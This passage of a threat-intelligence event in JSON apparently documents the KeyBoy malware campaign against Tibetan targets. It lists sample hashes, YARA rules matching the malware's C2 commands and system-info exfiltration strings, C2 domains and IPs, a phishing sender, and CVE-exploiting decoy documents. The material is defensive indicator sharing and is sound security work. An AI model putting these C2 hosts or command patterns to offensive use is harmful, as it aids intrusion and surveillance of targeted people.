"uuid": "5832bd53-d3f0-4c64-80cf-469402de0b81", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479720275", + "comment": "Payload KeyBoy 20151108 - Xchecked via VT: 98977426d544bd145979f65f0322ae30", + "sharing_group_id": "0", + "deleted": false, + "value": "082da7874d6c0bfbe8f2d954c8a47f25a90ef83bda89c8495101dc95986d7977", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591545", + "type": "sha256", + "category": "Artifacts dropped", + "to_ids": true, + "uuid": "5832bd55-6890-47d5-b97c-4a6402de0b81", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479720277", + "comment": "Payload KeyBoy P_20150313 - Xchecked via VT: 0c7e55509e0b6d4277b3facf864af018", + "sharing_group_id": "0", + "deleted": false, + "value": "5395f709ef1ca64c57be367f9795b66b5775b6e73f57089386a85925cc0ec596", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591480", + "type": "yara", + "category": "Artifacts dropped", + "to_ids": true, + "uuid": "582dd7e1-7bcc-4b5c-b6ef-6ff0d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399393", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "import \"pe\"\r\nrule new_keyboy_export\r\n{\r\nmeta:\r\nauthor = \"Matt Brooks, @cmatthewbrooks\"\r\ndesc = \"Matches the new 2016 sample's export\"\r\ndate = \"2016-08-28\"\r\nmd5 = \"495adb1b9777002ecfe22aaf52fcee93\"\r\n\r\ncondition:\r\n\/\/MZ header\r\nuint16(0) == 0x5A4D and\r\n\r\n\/\/PE signature\r\nuint32(uint32(0x3C)) == 0x00004550 and\r\n\r\n\r\nfilesize < 200KB and\r\n\r\n\r\n\/\/The malware family seems to share many exports\r\n\/\/but this is the new kid on the block.\r\npe.exports(\"cfsUpdate\")\r\n}", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591481", + "type": "yara", + "category": "Artifacts dropped", + "to_ids": true, + "uuid": "582dd7ed-ff54-4450-9f8a-7008d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399405", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "rule new_keyboy_header_codes\r\n{\r\nmeta:\r\nauthor = \"Matt Brooks, @cmatthewbrooks\"\r\ndesc = \"Matches the 2016 sample's header codes\"\r\ndate = \"2016-08-28\"\r\nmd5 = \"495adb1b9777002ecfe22aaf52fcee93\"\r\n\r\nstrings:\r\n$s1 = \"*l*\" wide fullword\r\n$s2 = \"*a*\" wide fullword\r\n$s3 = \"*s*\" wide fullword\r\n$s4 = \"*d*\" wide fullword\r\n$s5 = \"*f*\" wide fullword\r\n$s6 = \"*g*\" wide fullword\r\n$s7 = \"*h*\" wide fullword\r\n\r\ncondition:\r\n\/\/MZ header\r\nuint16(0) == 0x5A4D and\r\n\r\n\/\/PE signature\r\nuint32(uint32(0x3C)) == 0x00004550 and\r\nfilesize < 200KB and\r\nall of them\r\n}", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591482", + "type": "yara", + "category": "Artifacts dropped", + "to_ids": true, + "uuid": "582dd7f9-5180-4a45-baff-7005d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399417", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "rule keyboy_commands\r\n{\r\nmeta:\r\nauthor = \"Matt Brooks, @cmatthewbrooks\"\r\ndesc = \"Matches the 2016 sample's sent and received commands\"\r\ndate = \"2016-08-28\"\r\nmd5 = \"495adb1b9777002ecfe22aaf52fcee93\"\r\n\r\nstrings:\r\n$s1 = \"Update\" wide fullword\r\n$s2 = \"UpdateAndRun\" wide fullword\r\n$s3 = \"Refresh\" wide fullword\r\n$s4 = \"OnLine\" wide fullword\r\n$s5 = \"Disconnect\" wide fullword\r\n$s6 = \"Pw_Error\" wide fullword\r\n$s7 = \"Pw_OK\" wide fullword\r\n$s8 = \"Sysinfo\" wide fullword\r\n$s9 = \"Download\" wide fullword\r\n$s10 = \"UploadFileOk\" wide fullword\r\n$s11 = \"RemoteRun\" wide fullword\r\n$s12 = \"FileManager\" wide fullword\r\n\r\ncondition:\r\n\/\/MZ header\r\nuint16(0) == 0x5A4D and\r\n\r\n\/\/PE signature\r\nuint32(uint32(0x3C)) == 0x00004550 and\r\nfilesize < 200KB and\r\n6 of them\r\n}", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591483", + "type": "yara", + "category": "Artifacts dropped", + "to_ids": true, + "uuid": "582dd80c-aa34-453f-9a06-6fe8d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399436", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "rule keyboy_errors\r\n{\r\nmeta:\r\nauthor = \"Matt Brooks, @cmatthewbrooks\"\r\ndesc = \"Matches the sample's shell error2 log statements\"\r\ndate = \"2016-08-28\"\r\nmd5 = \"495adb1b9777002ecfe22aaf52fcee93\"\r\n\r\nstrings:\r\n\/\/These strings are in ASCII pre-2015 and UNICODE in 2016\r\n$error = \"Error2\" ascii wide\r\n\/\/2016 specific:\r\n$s1 = \"Can't find [%s]!Check the file name and try again!\" ascii wide\r\n$s2 = \"Open [%s] error! %d\" ascii wide\r\n$s3 = \"The Size of [%s] is zero!\" ascii wide\r\n$s4 = \"CreateThread DownloadFile[%s] Error!\" ascii wide\r\n$s5 = \"UploadFile [%s] Error:Connect Server Failed!\" ascii wide\r\n$s6 = \"Receive [%s] Error(Recved[%d] != Send[%d])!\" ascii wide\r\n$s7 = \"Receive [%s] ok! Use %2.2f seconds, Average speed %2.2f k\/s\" ascii wide\r\n$s8 = \"CreateThread UploadFile[%s] Error!\" ascii wide\r\n\/\/Pre-2016:\r\n$s9 = \"Ready Download [%s] ok!\" ascii wide\r\n$s10 = \"Get ControlInfo from FileClient error!\" ascii wide\r\n$s11 = \"FileClient has a error!\" ascii wide\r\n$s12 = \"VirtualAlloc SendBuff Error(%d)\" ascii wide\r\n$s13 = \"ReadFile [%s] Error(%d)...\" ascii wide\r\n$s14 = \"ReadFile [%s] Data[Readed(%d) != FileSize(%d)] Error...\" ascii wide\r\n$s15 = \"CreateThread DownloadFile[%s] Error!\" ascii wide\r\n$s16 = \"RecvData MyRecv_Info Size Error!\" ascii wide\r\n$s17 = \"RecvData MyRecv_Info Tag Error!\" ascii wide\r\n$s18 = \"SendData szControlInfo_1 Error!\" ascii wide\r\n$s19 = \"SendData szControlInfo_3 Error!\" ascii wide\r\n$s20 = \"VirtualAlloc RecvBuff Error(%d)\" ascii wide\r\n$s21 = \"RecvData Error!\" ascii wide\r\n$s22 = \"WriteFile [%s} Error(%d)...\" ascii wide\r\n\r\ncondition:\r\n\/\/MZ header\r\nuint16(0) == 0x5A4D and\r\n\r\n\/\/PE signature\r\nuint32(uint32(0x3C)) == 0x00004550 and\r\nfilesize < 200KB and\r\n$error and 3 of ($s*)\r\n}", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591484", + "type": "yara", + "category": "Artifacts dropped", + "to_ids": true, + "uuid": "582dd817-deac-4afa-a4a9-0696d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399459", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "rule keyboy_systeminfo\r\n{\r\nmeta:\r\nauthor = \"Matt Brooks, @cmatthewbrooks\"\r\ndesc = \"Matches the system information format before sending to C2\"\r\ndate = \"2016-08-28\"\r\nmd5 = \"495adb1b9777002ecfe22aaf52fcee93\"\r\n\r\nstrings:\r\n\/\/These strings are ASCII pre-2015 and UNICODE in 2016\r\n$s1 = \"SystemVersion: %s\" ascii wide\r\n$s2 = \"Product ID: %s\" ascii wide\r\n$s3 = \"InstallPath: %s\" ascii wide\r\n$s4 = \"InstallTime: %d-%d-%d, %02d:%02d:%02d\" ascii wide\r\n$s5 = \"ResgisterGroup: %s\" ascii wide\r\n$s6 = \"RegisterUser: %s\" ascii wide\r\n$s7 = \"ComputerName: %s\" ascii wide\r\n$s8 = \"WindowsDirectory: %s\" ascii wide\r\n$s9 = \"System Directory: %s\" ascii wide\r\n$s10 = \"Number of Processors: %d\" ascii wide\r\n$s11 = \"CPU[%d]: %s: %sMHz\" ascii wide\r\n$s12 = \"RAM: %dMB Total, %dMB Free.\" ascii wide\r\n$s13 = \"DisplayMode: %d x %d, %dHz, %dbit\" ascii wide\r\n$s14 = \"Uptime: %d Days %02u:%02u:%02u\" ascii wide\r\n\r\ncondition:\r\n\/\/MZ header\r\nuint16(0) == 0x5A4D and\r\n\r\n\/\/PE signature\r\nuint32(uint32(0x3C)) == 0x00004550 and\r\nfilesize < 200KB and\r\n7 of them\r\n}", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591485", + "type": "yara", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "582dd82e-469c-4a22-8669-6ff1d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399470", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "import \"pe\"\r\nrule keyboy_related_exports\r\n{\r\nmeta:\r\nauthor = \"Matt Brooks, @cmatthewbrooks\"\r\ndesc = \"Matches the new 2016 sample's export\"\r\ndate = \"2016-08-28\"\r\nmd5 = \"495adb1b9777002ecfe22aaf52fcee93\"\r\n\r\ncondition:\r\n\/\/MZ header\r\nuint16(0) == 0x5A4D and\r\n\r\n\/\/PE signature\r\nuint32(uint32(0x3C)) == 0x00004550 and\r\n\r\n\r\nfilesize < 200KB and\r\n\r\n\r\n\/\/The malware family seems to share many exports\r\n\/\/but this is the new kid on the block.\r\npe.exports(\"Embedding\") or\r\npe.exports(\"SSSS\") or\r\npe.exports(\"GetUP\")\r\n}", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591486", + "type": "yara", + "category": "Artifacts dropped", + "to_ids": true, + "uuid": "582dd83b-0524-4fed-a9e3-700dd56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399483", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "import \"pe\"\r\nrule keyboy_init_config_section\r\n{\r\nmeta:\r\nauthor = \"Matt Brooks, @cmatthewbrooks\"\r\ndesc = \"Matches the Init section where the config is stored\"\r\ndate = \"2016-08-28\"\r\n\r\ncondition:\r\n\/\/MZ header\r\nuint16(0) == 0x5A4D and\r\n\r\n\/\/PE signature\r\nuint32(uint32(0x3C)) == 0x00004550 and\r\n\r\n\/\/Payloads are normally smaller but the new dropper we spotted\r\n\/\/is a bit larger.\r\nfilesize < 300KB and\r\n\r\n\/\/Observed virtual sizes of the .Init section vary but they've\r\n\/\/always been 1024, 2048, or 4096 bytes.\r\nfor any i in (0..pe.number_of_sections - 1):\r\n(\r\npe.sections[i].name == \".Init\" and\r\npe.sections[i].virtual_size % 1024 == 0\r\n)\r\n}", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591487", + "type": "link", + "category": "External analysis", + "to_ids": false, + "uuid": "582dd9f5-639c-4a10-8ced-6ff0d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399925", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/citizenlab.org\/2016\/11\/parliament-keyboy\/", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591518", + "type": "link", + "category": "External analysis", + "to_ids": false, + "uuid": "5832bd47-c064-429b-bb2f-467302de0b81", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479720263", + "comment": "dropper of 'agewkassif' sample - Xchecked via VT: 542c85fda8df8510c1b66a122e459aac8c0919f1fe9fa2c43fd87899cffa05bf", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/www.virustotal.com\/file\/542c85fda8df8510c1b66a122e459aac8c0919f1fe9fa2c43fd87899cffa05bf\/analysis\/1479643747\/", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591520", + "type": "link", + "category": "External analysis", + "to_ids": false, + "uuid": "5832bd48-b104-49f7-ae8e-436e02de0b81", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479720264", + "comment": "dw20.exe dropper - Xchecked via VT: 5f24a5ee9ecfd4a8e5f967ffcf24580a83942cd7b09d310b9525962ed2614a49", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/www.virustotal.com\/file\/5f24a5ee9ecfd4a8e5f967ffcf24580a83942cd7b09d310b9525962ed2614a49\/analysis\/1479643732\/", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591522", + "type": "link", + "category": "External analysis", + "to_ids": false, + "uuid": "5832bd49-a008-4fd1-bc69-4cd102de0b81", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479720265", + "comment": "Wab32res.dll payload, KeyBoy agewkassif version - Xchecked via VT: 5da2f14c382d7cac8dfa6c86e528a646a81f0b40cfee9611c8cfb4b5d589aa88", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/www.virustotal.com\/file\/5da2f14c382d7cac8dfa6c86e528a646a81f0b40cfee9611c8cfb4b5d589aa88\/analysis\/1479643740\/", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591524", + "type": "link", + "category": "External analysis", + "to_ids": false, + "uuid": "5832bd4a-8608-4468-9038-447602de0b81", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479720266", + "comment": "Wab32res.dll payload, KeyBoy 20160509 - Xchecked via VT: 9a55577d357922711ab0821bf5379289293c8517ae1d94d48c389f306af57a04", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/www.virustotal.com\/file\/9a55577d357922711ab0821bf5379289293c8517ae1d94d48c389f306af57a04\/analysis\/1479499742\/", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591526", + "type": "link", + "category": "External analysis", + "to_ids": false, + "uuid": "5832bd4b-25c4-4edb-8ab9-436502de0b81", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479720267", + "comment": "legitimate Microsoft Windows Address Book executable, used to load final payload - Xchecked via VT: 58105e9772f6befbc319c147a97faded4fbacf839947b34fe3695ae72771da5d", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/www.virustotal.com\/file\/58105e9772f6befbc319c147a97faded4fbacf839947b34fe3695ae72771da5d\/analysis\/1478876071\/", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591529", + "type": "link", + "category": "External analysis", + "to_ids": false, + "uuid": "5832bd4d-e058-48a1-9e0a-483f02de0b81", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479720269", + "comment": "Doc exploiting CVE-2012-0158 - Xchecked via VT: 8846d109b457a2ee44ddbf54d1cf7944", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/www.virustotal.com\/file\/ba442907f3218c8664bbecb47f915c4469340219e0f05af8f2d108d72659ff0f\/analysis\/1479483627\/", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591532", + "type": "link", + "category": "External analysis", + "to_ids": false, + "uuid": "5832bd4e-88e0-452b-9d0b-47f602de0b81", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479720270", + "comment": "Malicious doc with CVE-2014-4114 vulnerability - Xchecked via VT: 05b5cf94f07fee666eb086c91182ad25", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/www.virustotal.com\/file\/442e5d3d46330e814b4fdc5640b06732de69a08a574d92cd9a0df5eea62d88ed\/analysis\/1479484054\/", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591535", + "type": "link", + "category": "External analysis", + "to_ids": false, + "uuid": "5832bd50-1ff0-44dd-b44d-401d02de0b81", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479720272", + "comment": "Other similar doc - Xchecked via VT: beadf21b923600554b0ce54df42e78f5", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/www.virustotal.com\/file\/b1d1b8fa9c104309fe27b3405d3572ac44d8401efba4868f743d45ed797d444b\/analysis\/1479485679\/", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591538", + "type": "link", + "category": "External analysis", + "to_ids": false, + "uuid": "5832bd51-1400-4733-9436-4f7902de0b81", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479720273", + "comment": "64b KeyBoy payload 20151108 - Xchecked via VT: 371bc132499f455f06fa80696db0df27", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/www.virustotal.com\/file\/4c9bf4ffbd7047f46035f89e6f7f4c63b8597ac63097577d467c157e3aa7ab4d\/analysis\/1479643752\/", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591541", + "type": "link", + "category": "External analysis", + "to_ids": false, + "uuid": "5832bd53-a558-4ea4-957d-4e7202de0b81", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479720275", + "comment": "Payload KeyBoy 20151108 - Xchecked via VT: c5b5f01ba24d6c02636388809f44472e", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/www.virustotal.com\/file\/e6fdcf64d7e7d59366ba23c68332167dfc569b6acc71a03498d4a925ce9c1e0a\/analysis\/1479481835\/", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591544", + "type": "link", + "category": "External analysis", + "to_ids": false, + "uuid": "5832bd54-0efc-4f4a-b342-4a8e02de0b81", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479720276", + "comment": "Payload KeyBoy 20151108 - Xchecked via VT: 98977426d544bd145979f65f0322ae30", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/www.virustotal.com\/file\/082da7874d6c0bfbe8f2d954c8a47f25a90ef83bda89c8495101dc95986d7977\/analysis\/1479643737\/", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591547", + "type": "link", + "category": "External analysis", + "to_ids": false, + "uuid": "5832bd55-7e88-4e84-98fa-44ea02de0b81", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479720277", + "comment": "Payload KeyBoy P_20150313 - Xchecked via VT: 0c7e55509e0b6d4277b3facf864af018", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/www.virustotal.com\/file\/5395f709ef1ca64c57be367f9795b66b5775b6e73f57089386a85925cc0ec596\/analysis\/1431473021\/", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591488", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "582dd859-da30-4ad9-9118-7005d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399513", + "comment": "domain linked to one of the C2 IPs", + "sharing_group_id": "0", + "deleted": false, + "value": "tibetvoices.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591489", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "582dd873-7d5c-4433-9e36-6ff0d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399538", + "comment": "C2 domains", + "sharing_group_id": "0", + "deleted": false, + "value": "www.about.jkub.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591490", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "582dd873-ef48-4fe2-8f27-6ff0d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399539", + "comment": "C2 domains", + "sharing_group_id": "0", + "deleted": false, + "value": "www.eleven.mypop3.org", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591491", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "582dd873-7f8c-4373-aa0d-6ff0d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399539", + "comment": "C2 domains", + "sharing_group_id": "0", + "deleted": false, + "value": "www.backus.myftp.name", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591492", + "type": "ip-dst", + "category": "Network activity", + "to_ids": true, + "uuid": "582dd890-d548-436f-bd0a-6ff2d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399568", + "comment": "C2 IP", + "sharing_group_id": "0", + "deleted": false, + "value": "45.125.12.147", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591493", + "type": "ip-dst", + "category": "Network activity", + "to_ids": true, + "uuid": "582dd890-e77c-48ef-b609-6ff2d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399568", + "comment": "C2 IP", + "sharing_group_id": "0", + "deleted": false, + "value": "103.40.102.233", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591494", + "type": "ip-dst", + "category": "Network activity", + "to_ids": true, + "uuid": "582dd891-0d3c-41a2-9385-6ff2d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399569", + "comment": "C2 IP", + "sharing_group_id": "0", + "deleted": false, + "value": "116.193.154.69", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591495", + "type": "ip-dst", + "category": "Network activity", + "to_ids": true, + "uuid": "582dd891-0e90-4e82-bfba-6ff2d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399569", + "comment": "C2 IP", + "sharing_group_id": "0", + "deleted": false, + "value": "103.242.134.243", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591496", + "type": "ip-dst", + "category": "Network activity", + "to_ids": true, + "uuid": "582dd8ab-850c-4a68-812b-7007d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399595", + "comment": "IPs for C2 Host: www.about.jkub.com", + "sharing_group_id": "0", + "deleted": false, + "value": "45.32.47.148", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591497", + "type": "ip-dst", + "category": "Network activity", + "to_ids": true, + "uuid": "582dd8ac-097c-45be-8370-7007d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399596", + "comment": "IPs for C2 Host: www.about.jkub.com", + "sharing_group_id": "0", + "deleted": false, + "value": "157.7.84.81", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591498", + "type": "ip-dst", + "category": "Network activity", + "to_ids": true, + "uuid": "582dd8c1-9ec0-4fa4-8d06-700fd56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399617", + "comment": "IP behind C2 Host: www.backus.myftp[.]name", + "sharing_group_id": "0", + "deleted": false, + "value": "192.241.149.43", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591499", + "type": "ip-dst", + "category": "Network activity", + "to_ids": true, + "uuid": "582dd8ed-34cc-49c9-9ae4-700fd56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399661", + "comment": "Other IP hosting tibetvoices.com", + "sharing_group_id": "0", + "deleted": false, + "value": "112.10.117.47", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591500", + "type": "email-src", + "category": "Payload delivery", + "to_ids": true, + "uuid": "582dd904-3f68-4706-b596-0696d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399684", + "comment": "Source of phishing emails", + "sharing_group_id": "0", + "deleted": false, + "value": "tibetanparliarnent@yahoo.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591501", + "type": "md5", + "category": "Payload delivery", + "to_ids": false, + "uuid": "582dd918-13bc-44e9-9b8d-6ff2d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399704", + "comment": "theme of the conference.doc", + "sharing_group_id": "0", + "deleted": false, + "value": "8307e444cad98b1b59568ad2eba5f201", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591502", + "type": "md5", + "category": "Payload delivery", + "to_ids": false, + "uuid": "582dd924-6350-4beb-bc4d-700dd56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399716", + "comment": "Dw20.exe dropper", + "sharing_group_id": "0", + "deleted": false, + "value": "0b4d45db323f68b465ae052d3a872068", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591503", + "type": "md5", + "category": "Payload delivery", + "to_ids": false, + "uuid": "582dd932-aac0-48ba-8235-7006d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399730", + "comment": "Other similar doc", + "sharing_group_id": "0", + "deleted": false, + "value": "beadf21b923600554b0ce54df42e78f5", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591504", + "type": "md5", + "category": "Payload delivery", + "to_ids": true, + "uuid": "582dd940-4910-478c-a8f6-700ed56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399744", + "comment": "Dw20.exe dropper", + "sharing_group_id": "0", + "deleted": false, + "value": "69df3d3df4d99bc6045d073d89c68697", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591505", + "type": "md5", + "category": "Payload delivery", + "to_ids": false, + "uuid": "582dd94c-9948-4f28-a0a8-6ff1d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399756", + "comment": "Malicious doc with CVE-2014-4114 vulnerability", + "sharing_group_id": "0", + "deleted": false, + "value": "05b5cf94f07fee666eb086c91182ad25", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591506", + "type": "md5", + "category": "Payload delivery", + "to_ids": false, + "uuid": "582dd958-b8e4-47e1-b3bd-6ff0d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399768", + "comment": "Doc exploiting CVE-2012-0158", + "sharing_group_id": "0", + "deleted": false, + "value": "8846d109b457a2ee44ddbf54d1cf7944", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591507", + "type": "md5", + "category": "Payload delivery", + "to_ids": false, + "uuid": "582dd965-41f0-4ca5-a4f6-700fd56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399781", + "comment": "Attached file urgent action larung gar buddhist academy.rtf (CVE-2015-1641)", + "sharing_group_id": "0", + "deleted": false, + "value": "913b82ff8f090670fc6387e3a7bea12d", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591508", + "type": "md5", + "category": "Payload delivery", + "to_ids": false, + "uuid": "582dd971-87dc-4fa4-a22b-7007d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399793", + "comment": "dropper of 'agewkassif' version", + "sharing_group_id": "0", + "deleted": false, + "value": "23d284245e53ae4fe05c517d807ffccf", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591517", + "type": "sha1", + "category": "Payload delivery", + "to_ids": false, + "uuid": "5832bd46-65f0-4dad-892b-426702de0b81", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479720262", + "comment": "dropper of 'agewkassif' sample - Xchecked via VT: 542c85fda8df8510c1b66a122e459aac8c0919f1fe9fa2c43fd87899cffa05bf", + "sharing_group_id": "0", + "deleted": false, + "value": "3afd1071b8c05d743be976468f36663c22d57311", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591519", + "type": "sha1", + "category": "Payload delivery", + "to_ids": false, + "uuid": "5832bd47-9600-41f5-896c-4e8b02de0b81", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479720263", + "comment": "dw20.exe dropper - Xchecked via VT: 5f24a5ee9ecfd4a8e5f967ffcf24580a83942cd7b09d310b9525962ed2614a49", + "sharing_group_id": "0", + "deleted": false, + "value": "c4611aff5e05ee92398b8700b878e016f4ff6113", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591528", + "type": "sha1", + "category": "Payload delivery", + "to_ids": false, + "uuid": "5832bd4c-d698-4f11-b5c9-476202de0b81", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479720268", + "comment": "Doc exploiting CVE-2012-0158 - Xchecked via VT: 8846d109b457a2ee44ddbf54d1cf7944", + "sharing_group_id": "0", + "deleted": false, + "value": "ba57bc840bc8fa5b7a235b2d2cff47af610aa14a", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591531", + "type": "sha1", + "category": "Payload delivery", + "to_ids": false, + "uuid": "5832bd4e-dab8-4936-ac41-489e02de0b81", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479720270", + "comment": "Malicious doc with CVE-2014-4114 vulnerability - Xchecked via VT: 05b5cf94f07fee666eb086c91182ad25", + "sharing_group_id": "0", + "deleted": false, + "value": "7631a0682a1a6423c95fd1b80263b8470717f0f8", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591534", + "type": "sha1", + "category": "Payload delivery", + "to_ids": false, + "uuid": "5832bd4f-48d0-4d0b-9719-439d02de0b81", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479720271", + "comment": "Other similar doc - Xchecked via VT: beadf21b923600554b0ce54df42e78f5", + "sharing_group_id": "0", + "deleted": false, + "value": "d2bf4b04d05f398b4101e91873e71d5b0e121aeb", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591509", + "type": "sha256", + "category": "Payload delivery", + "to_ids": false, + "uuid": "582dd982-e0b0-4f79-bab1-0696d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399810", + "comment": "dw20.exe dropper", + "sharing_group_id": "0", + "deleted": false, + "value": "5f24a5ee9ecfd4a8e5f967ffcf24580a83942cd7b09d310b9525962ed2614a49", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591510", + "type": "sha256", + "category": "Payload delivery", + "to_ids": false, + "uuid": "582dd992-c5ac-438a-8737-7005d56c6cd2", + "event_id": "5414", + "distribution": "5", + "timestamp": "1479399826", + "comment": "dropper of 'agewkassif' sample", + "sharing_group_id": "0", + "deleted": false, + "value": "542c85fda8df8510c1b66a122e459aac8c0919f1fe9fa2c43fd87899cffa05bf", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "591527", + "type": "sha256", + "category": "Payload delivery", + "to_ids": false, + "uuid": "5832bd4c-0190-4a6f-9c4f-472202de0b81", + "event_id": "5414", + 